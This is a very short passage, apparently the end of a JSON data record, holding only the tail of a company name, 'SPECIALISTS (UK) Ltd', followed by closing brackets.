SPECIALISTS (UK) Ltd\n" } ] }